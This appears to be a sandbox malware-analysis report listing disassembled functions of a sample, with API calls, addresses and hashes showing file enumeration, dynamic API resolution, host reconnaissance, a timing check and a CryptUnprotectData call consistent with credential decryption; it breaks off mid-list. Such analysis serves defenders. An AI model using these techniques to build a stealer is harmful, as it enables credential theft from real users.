Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: d35edac016138e32296ea7c26d0b681b815b88aee4d12a6c08cd949698736c99
Instruction ID: 10ef354ad2eaa44bfa6117fb0d287dcaf0a5bb1e6888212fcade5afa6eea8883
Opcode Fuzzy Hash: d35edac016138e32296ea7c26d0b681b815b88aee4d12a6c08cd949698736c99
Instruction Fuzzy Hash: 5C519972500218ABCB10DFA0DD49EEA777DFF48701F0485A9B609A3150E779EB94CF69

Function 00401090 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 0040109D
wsprintfA.USER32 ref: 004010B7
FindFirstFileA.KERNEL32(?,?), ref: 004010CE
StrCmpCA.SHLWAPI(?,00414010), ref: 004010F4
StrCmpCA.SHLWAPI(?,00414014), ref: 0040110A
FindNextFileA.KERNEL32(000000FF,?), ref: 004011D3
FindClose.KERNEL32(000000FF), ref: 004011E8

Strings

%s\%s, xrefs: 004010AB

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID: %s\%s
API String ID: 2809309208-4073750446
Opcode ID: 65b79e9637cec597f6132ad867d3ea0caf33ac682abfeb47ba3e8b5a096d292f
Instruction ID: 9e708a2c2c8c9df69f2045fd8ae1fcdaacacec9e8e0aee4b664e8a25b6e66940
Opcode Fuzzy Hash: 65b79e9637cec597f6132ad867d3ea0caf33ac682abfeb47ba3e8b5a096d292f
Instruction Fuzzy Hash: 263175B6500318ABCB14DFE0DD88EEA777DBF48701F0485AAB609A2150DB789B94CF59

Function 004098D0 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 213fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004098E9
FindFirstFileA.KERNEL32(?,?), ref: 00409900
StrCmpCA.SHLWAPI(?,00414010), ref: 00409926
StrCmpCA.SHLWAPI(?,00414014), ref: 0040993C
FindNextFileA.KERNELBASE(000000FF,?), ref: 00409B3A
FindClose.KERNEL32(000000FF), ref: 00409B4F

Strings

%s\*, xrefs: 004098DD
%s\%s, xrefs: 00409956

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 4bb38fd39166e77b51c7fd84e46c30be4b64431e2b6be254e96ad9f51dc9dc2f
Instruction ID: acfd0f312d600870faf9f312c4f9ca4051831a15c87bcf8d9ee51cef430358df
Opcode Fuzzy Hash: 4bb38fd39166e77b51c7fd84e46c30be4b64431e2b6be254e96ad9f51dc9dc2f
Instruction Fuzzy Hash: B481FFB2500109ABCB14DF95DC84EEB73BDBB8C704F04859DB609A3251E638EE55CFA5

Function 00409D30 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 183fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00409D49
FindFirstFileA.KERNEL32(?,?), ref: 00409D60
StrCmpCA.SHLWAPI(?,00414010), ref: 00409D86
StrCmpCA.SHLWAPI(?,00414014), ref: 00409D9C
FindNextFileA.KERNELBASE(000000FF,?), ref: 00409F88
FindClose.KERNEL32(000000FF), ref: 00409F9D

Strings

%s\*.*, xrefs: 00409D3D

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: d9af8d99c41388cc1a29a9d86c359d6cde668b0097c21161aac966d862c6604d
Instruction ID: ea22ded0088a85d6f5438574adf52929fced9323b8b35e034537b8fdb6fb60f4
Opcode Fuzzy Hash: d9af8d99c41388cc1a29a9d86c359d6cde668b0097c21161aac966d862c6604d
Instruction Fuzzy Hash: 896156B2900108ABC714EFA4DC85EDB737CBF48700F0485A9B61993191E775EA98CFA9

Function 00407A40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 105libraryloaderstringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0069C2C8,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 00407A6E
lstrcat.KERNEL32(?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;), ref: 00407A9D
lstrcat.KERNEL32(?,00419320), ref: 00407AAF
lstrcat.KERNEL32(?,00000000), ref: 00407AC0
SetEnvironmentVariableA.KERNEL32(0069C2C8,?), ref: 00407AD4
LoadLibraryA.KERNEL32(006983D0), ref: 00407AF2
GetProcAddress.KERNEL32(6CD40000,0069B438), ref: 00407B17
GetProcAddress.KERNEL32(6CD40000,0069B480), ref: 00407B30
GetProcAddress.KERNEL32(6CD40000,0069BEE0), ref: 00407B48
GetProcAddress.KERNEL32(6CD40000,0069B3D8), ref: 00407B60
GetProcAddress.KERNEL32(6CD40000,0069BDC0), ref: 00407B79
GetProcAddress.KERNEL32(6CD40000,0069B318), ref: 00407B91

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00407A63, 00407A77, 00407A91

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 570708976-4027016359
Opcode ID: 8cfdd60e073a5564feb1c9100bfe2da1f0b51f67a70705ccda5b314df4a36c52
Instruction ID: 72a50205348d8acea1ecc4be8059c9faf56dff2e006599b00b6794dd1a6d7452
Opcode Fuzzy Hash: 8cfdd60e073a5564feb1c9100bfe2da1f0b51f67a70705ccda5b314df4a36c52
Instruction Fuzzy Hash: FB414FB1502204DBD714EF68ED48AEA37F9F708304F08C979F109926A1D778A9A5CF5E

Function 0040C4D0 Relevance: 22.6, APIs: 15, Instructions: 110libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(75900000,00691920), ref: 0040C522
GetProcAddress.KERNEL32(75900000,0068FB60), ref: 0040C53A
GetProcAddress.KERNEL32(75900000,0068ACA0), ref: 0040C552
GetProcAddress.KERNEL32(75900000,006916E0), ref: 0040C56B
GetProcAddress.KERNEL32(75900000,00691818), ref: 0040C583
GetProcAddress.KERNEL32(75900000,00691770), ref: 0040C59B
GetProcAddress.KERNEL32(75900000,00691890), ref: 0040C5B4
GetProcAddress.KERNEL32(75900000,006919B0), ref: 0040C5CC
GetProcAddress.KERNEL32(75900000,0068ABC0), ref: 0040C5E4
GetProcAddress.KERNEL32(75900000,0068AF20), ref: 0040C5FD
GetProcAddress.KERNEL32(75900000,0068ABE0), ref: 0040C615
LoadLibraryA.KERNEL32(00691728,?,00406CD2), ref: 0040C627
LoadLibraryA.KERNEL32(00691938,?,00406CD2), ref: 0040C638
GetProcAddress.KERNEL32(75070000,00691758), ref: 0040C65A
GetProcAddress.KERNEL32(74E50000,0068ACE0), ref: 0040C67B

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 17b2d70414a4efdeadfea8580404a0e43dec6c234348272d7c41b2aeae6b0564
Instruction ID: 60e5e86da36253e9604f730ab0f0f8fe5fd9fad0aa347490b3232d0c9b8b64c6
Opcode Fuzzy Hash: 17b2d70414a4efdeadfea8580404a0e43dec6c234348272d7c41b2aeae6b0564
Instruction Fuzzy Hash: 954142B56132009FC744DFA8EE88AA63BF9BB8C351705C939F509C7662D7389464CB1E

Function 0040AFF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040B000
RtlAllocateHeap.NTDLL(00000000), ref: 0040B007
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040B028
LocalAlloc.KERNEL32(00000040,?), ref: 0040B040
GetKeyboardLayoutList.USER32(?,00000000), ref: 0040B054
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040B0A9
wsprintfA.USER32 ref: 0040B0D2
wsprintfA.USER32 ref: 0040B0F0
memset.NTDLL ref: 0040B116
LocalFree.KERNEL32(00000000), ref: 0040B12B

Strings

%s / %s, xrefs: 0040B0C6

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID: %s / %s
API String ID: 1833916909-2910687431
Opcode ID: 70d51e007cff7b4d19107229a7a077a0ebeb7555370cd979e6acdca1a6154f21
Instruction ID: d1a8fbd12c21f0ff0e0ef3a8e0880423f6f5d4a82a843a5e64715424c7f1fe5c
Opcode Fuzzy Hash: 70d51e007cff7b4d19107229a7a077a0ebeb7555370cd979e6acdca1a6154f21
Instruction Fuzzy Hash: 7D316BB098121CEBDB60DF54CD8DBE9B7B4EB48300F1081E5E519A6291C7785E90CF9A

Function 0040AF30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF40
RtlAllocateHeap.NTDLL(00000000), ref: 0040AF47
GetTimeZoneInformation.KERNEL32(?), ref: 0040AF5A
wsprintfA.USER32 ref: 0040AF94

Strings

UTC%d, xrefs: 0040AF88

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID: UTC%d
API String ID: 3317088062-2723047788
Opcode ID: 7d5bbbd612032375b4e79e3451e1b0fc6f913335c1a2478bf5dbd389f37094ed
Instruction ID: e275133d394be87dc040eca6e972d3f9556dbe19acf721bbe9cd39a1effaca79
Opcode Fuzzy Hash: 7d5bbbd612032375b4e79e3451e1b0fc6f913335c1a2478bf5dbd389f37094ed
Instruction Fuzzy Hash: 91F090B0E053189BDB609B64DD49BE9737AAB08301F0042E5FA09A32D1DB785E94CF4B

Function 00407650 Relevance: 4.5, APIs: 3, Instructions: 49memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00407674
LocalAlloc.KERNEL32(00000040,00000000), ref: 00407693
LocalFree.KERNEL32(?), ref: 004076BF

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 36a038339c0fb4fd4184901ce48d827f0b7def8567832e23043a7d51728715fc
Instruction ID: b7ac7f429f38f17d1e313cbc0b6c82ea8ce967b3f90282425cc9523c40ba90fe
Opcode Fuzzy Hash: 36a038339c0fb4fd4184901ce48d827f0b7def8567832e23043a7d51728715fc
Instruction Fuzzy Hash: 3D11BAB4A00209DFCB04DF98C985AAE77B5FF49300F108569E915A7390D734AD50CBA5

Function 0040AE40 Relevance: 4.5, APIs: 3, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00405AF9), ref: 0040AE4D
RtlAllocateHeap.NTDLL(00000000,?,00405AF9), ref: 0040AE54
GetComputerNameA.KERNEL32(00405AF9,00000104), ref: 0040AE6C

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 4e0a11f0523b15e6ea6efd76567903c9e797f6d2f8a7d108c492c04f986ba68a
Instruction ID: d5bccef1e5a34cad0e5ec7dea48ae07b2c58eddd9ff12cc07b28f6047363554b
Opcode Fuzzy Hash: 4e0a11f0523b15e6ea6efd76567903c9e797f6d2f8a7d108c492c04f986ba68a
Instruction Fuzzy Hash: 52E01274A41208BBC700EBA4DA49ADD77B8AF04345F1041A5EA09E2690D6749A54CB97

Function 00406C00 Relevance: 4.5, APIs: 3, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00406C06
Sleep.KERNEL32(00001F40), ref: 00406C14
GetTickCount.KERNEL32 ref: 00406C1A

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: eb08c3391f8e18c4e44a9d90f64ddc68a0329dbd6094a1326adbdc57b4efb51b
Instruction ID: a0d455a7e9d51f3ff59f8756196db58e778a2168af6a75ca6307228a99f76f0d
Opcode Fuzzy Hash: eb08c3391f8e18c4e44a9d90f64ddc68a0329dbd6094a1326adbdc57b4efb51b
Instruction Fuzzy Hash: D2E08630C09209DFE700EFB4D9094FC7BB0DB00301F1080B2AC42E2688DA3449619B5B

Function 0040AE90 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00405B29), ref: 0040AE9D
RtlAllocateHeap.NTDLL(00000000,?,00405B29), ref: 0040AEA4
GetUserNameA.ADVAPI32(?,00000104), ref: 0040AEBC

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 786339b370d31b7512b0374ed55e573f95ced26cfa2fdc562eaf370830171dbd
Instruction ID: f0e5a44d94c9ff4546a8575587e598627c12b79249f32145e6a67f0acee17a64
Opcode Fuzzy Hash: 786339b370d31b7512b0374ed55e573f95ced26cfa2fdc562eaf370830171dbd
Instruction Fuzzy Hash: C1E08CB494120CBFCB00EFE4DE49ACCBBB8AF08302F0040A4FA04E3280D6745694CB56

Function 00404A00 Relevance: 3.1, APIs: 2, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00404A10
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00404A83

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: AllocLocalProtectVirtual
String ID:
API String ID: 4134893223-0
Opcode ID: f060aa777a36e6cb0d13de8e31ea81b04a8d409cd8cd7ef04edfb5c1110e1f96
Instruction ID: b3eee9403b489e7e9904e7e393ee4f09bc21bf1d7c70f7d3a16681d9575a7086
Opcode Fuzzy Hash: f060aa777a36e6cb0d13de8e31ea81b04a8d409cd8cd7ef04edfb5c1110e1f96
Instruction Fuzzy Hash: 001133B4E04248EFCB04CF98D891BADBBB5FF48305F148099EA15A7341D735AA50CF59

Function 0040C6A0 Relevance: 266.9, APIs: 144, Strings: 8, Instructions: 874
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,0069AED8), ref: 0040C6BD
GetProcAddress.KERNEL32(75900000,0069AC98), ref: 0040C6D5
GetProcAddress.KERNEL32(75900000,00698450), ref: 0040C6EE
GetProcAddress.KERNEL32(75900000,0069AD40), ref: 0040C706
GetProcAddress.KERNEL32(75900000,0069AD58), ref: 0040C71E
GetProcAddress.KERNEL32(75900000,0069AE78), ref: 0040C737
GetProcAddress.KERNEL32(75900000,0069AD88), ref: 0040C74F
GetProcAddress.KERNEL32(75900000,0069AE30), ref: 0040C767
GetProcAddress.KERNEL32(75900000,0069AEC0), ref: 0040C780
GetProcAddress.KERNEL32(75900000,0069AE60), ref: 0040C798
GetProcAddress.KERNEL32(75900000,0069AE90), ref: 0040C7B0
GetProcAddress.KERNEL32(75900000,0069AC08), ref: 0040C7C9
GetProcAddress.KERNEL32(75900000,0069AEA8), ref: 0040C7E1
GetProcAddress.KERNEL32(75900000,00698470), ref: 0040C7F9
GetProcAddress.KERNEL32(75900000,0069AEF0), ref: 0040C812
GetProcAddress.KERNEL32(75900000,00697E10), ref: 0040C82A
GetProcAddress.KERNEL32(75900000,00699330), ref: 0040C842
GetProcAddress.KERNEL32(75900000,0069AF38), ref: 0040C85B
GetProcAddress.KERNEL32(75900000,006980B0), ref: 0040C873
GetProcAddress.KERNEL32(75900000,0069AF98), ref: 0040C88B
GetProcAddress.KERNEL32(75900000,00697E90), ref: 0040C8A4
GetProcAddress.KERNEL32(75900000,0069AF68), ref: 0040C8BC
GetProcAddress.KERNEL32(75900000,0069AF08), ref: 0040C8D4
GetProcAddress.KERNEL32(75900000,0069AFC8), ref: 0040C8ED
GetProcAddress.KERNEL32(75900000,0069AF20), ref: 0040C905
GetProcAddress.KERNEL32(75900000,00697EB0), ref: 0040C91D
GetProcAddress.KERNEL32(75900000,0069AF50), ref: 0040C936
GetProcAddress.KERNEL32(75900000,0069AF80), ref: 0040C94E
GetProcAddress.KERNEL32(75900000,0069AFB0), ref: 0040C966
GetProcAddress.KERNEL32(75900000,00697ED0), ref: 0040C97F
GetProcAddress.KERNEL32(75900000,0069B288), ref: 0040C997
GetProcAddress.KERNEL32(75900000,0069B018), ref: 0040C9AF
GetProcAddress.KERNEL32(75900000,0069B1B0), ref: 0040C9C8
GetProcAddress.KERNEL32(75900000,0069B1F8), ref: 0040C9E0
GetProcAddress.KERNEL32(75900000,0069B2A0), ref: 0040C9F8
GetProcAddress.KERNEL32(75900000,00697E30), ref: 0040CA11
GetProcAddress.KERNEL32(75900000,00698030), ref: 0040CA29
GetProcAddress.KERNEL32(75900000,0069B1C8), ref: 0040CA41
GetProcAddress.KERNEL32(75900000,0069B090), ref: 0040CA5A
GetProcAddress.KERNEL32(75900000,00697D90), ref: 0040CA72
GetProcAddress.KERNEL32(75900000,00699010), ref: 0040CA8A
GetProcAddress.KERNEL32(75900000,0069B210), ref: 0040CAA3
GetProcAddress.KERNEL32(75900000,0069B0A8), ref: 0040CABB
GetProcAddress.KERNEL32(75900000,00697E70), ref: 0040CAD3
GetProcAddress.KERNEL32(75900000,00697F90), ref: 0040CAEC
GetProcAddress.KERNEL32(75900000,006980D0), ref: 0040CB04
GetProcAddress.KERNEL32(75900000,0069B2B8), ref: 0040CB1C
GetProcAddress.KERNEL32(75900000,00697E50), ref: 0040CB35
GetProcAddress.KERNEL32(75900000,0069B030), ref: 0040CB4D
GetProcAddress.KERNEL32(75900000,00697D70), ref: 0040CB65
GetProcAddress.KERNEL32(75900000,00697F30), ref: 0040CB7E
GetProcAddress.KERNEL32(75900000,0069B120), ref: 0040CB96
GetProcAddress.KERNEL32(75900000,00697FB0), ref: 0040CBAE
GetProcAddress.KERNEL32(75900000,00697EF0), ref: 0040CBC7
GetProcAddress.KERNEL32(75900000,0069B258), ref: 0040CBDF
GetProcAddress.KERNEL32(75900000,0069B2D0), ref: 0040CBF7
LoadLibraryA.KERNEL32(0069ACF8,?,00406D0D), ref: 0040CC09
LoadLibraryA.KERNEL32(0069ADE8,?,00406D0D), ref: 0040CC1B
LoadLibraryA.KERNEL32(0069AC50,?,00406D0D), ref: 0040CC2C
LoadLibraryA.KERNEL32(0069ACB0,?,00406D0D), ref: 0040CC3E
LoadLibraryA.KERNEL32(0069AD10,?,00406D0D), ref: 0040CC50
LoadLibraryA.KERNEL32(0069AD28,?,00406D0D), ref: 0040CC61
LoadLibraryA.KERNEL32(0069ADD0,?,00406D0D), ref: 0040CC73
LoadLibraryA.KERNEL32(0069AD70,?,00406D0D), ref: 0040CC85
LoadLibraryA.KERNEL32(0069AC20,?,00406D0D), ref: 0040CC96
LoadLibraryA.KERNEL32(0069ACC8,?,00406D0D), ref: 0040CCA8
LoadLibraryA.KERNEL32(0069ADA0,?,00406D0D), ref: 0040CCBA
LoadLibraryA.KERNEL32(0069AE00,?,00406D0D), ref: 0040CCCB
LoadLibraryA.KERNEL32(0069AE18,?,00406D0D), ref: 0040CCDD
GetProcAddress.KERNEL32(76E80000,00698DE8), ref: 0040CCFE
GetProcAddress.KERNEL32(76E80000,00698DF8), ref: 0040CD17
GetProcAddress.KERNEL32(76E80000,00698EB8), ref: 0040CD2F
GetProcAddress.KERNEL32(6F080000,0069B108), ref: 0040CD54
GetProcAddress.KERNEL32(6F080000,00697F10), ref: 0040CD6D
GetProcAddress.KERNEL32(6F080000,00697F50), ref: 0040CD85
GetProcAddress.KERNEL32(6F080000,00697F70), ref: 0040CD9D
GetProcAddress.KERNEL32(6F080000,0069B228), ref: 0040CDB6
GetProcAddress.KERNEL32(6F080000,00697FF0), ref: 0040CDCE
GetProcAddress.KERNEL32(6F080000,00697DB0), ref: 0040CDE6
GetProcAddress.KERNEL32(6F080000,00698070), ref: 0040CDFF
GetProcAddress.KERNEL32(6F080000,00697D30), ref: 0040CE17
GetProcAddress.KERNEL32(6F080000,00697FD0), ref: 0040CE2F
GetProcAddress.KERNEL32(75A50000,0069B060), ref: 0040CE55
GetProcAddress.KERNEL32(75A50000,0069B048), ref: 0040CE6D
GetProcAddress.KERNEL32(75A50000,00698010), ref: 0040CE85
GetProcAddress.KERNEL32(75A50000,00698050), ref: 0040CE9E
GetProcAddress.KERNEL32(75A50000,0069B300), ref: 0040CEB6
GetProcAddress.KERNEL32(75A50000,00698E58), ref: 0040CECE
GetProcAddress.KERNEL32(75A50000,00698090), ref: 0040CEE7
GetProcAddress.KERNEL32(75A50000,006980F0), ref: 0040CEFF
GetProcAddress.KERNEL32(75A50000,0069B078), ref: 0040CF17
GetProcAddress.KERNEL32(75A50000,0069B180), ref: 0040CF30
GetProcAddress.KERNEL32(75A50000,0069B0C0), ref: 0040CF48
GetProcAddress.KERNEL32(75070000,0069B0D8), ref: 0040CF6D
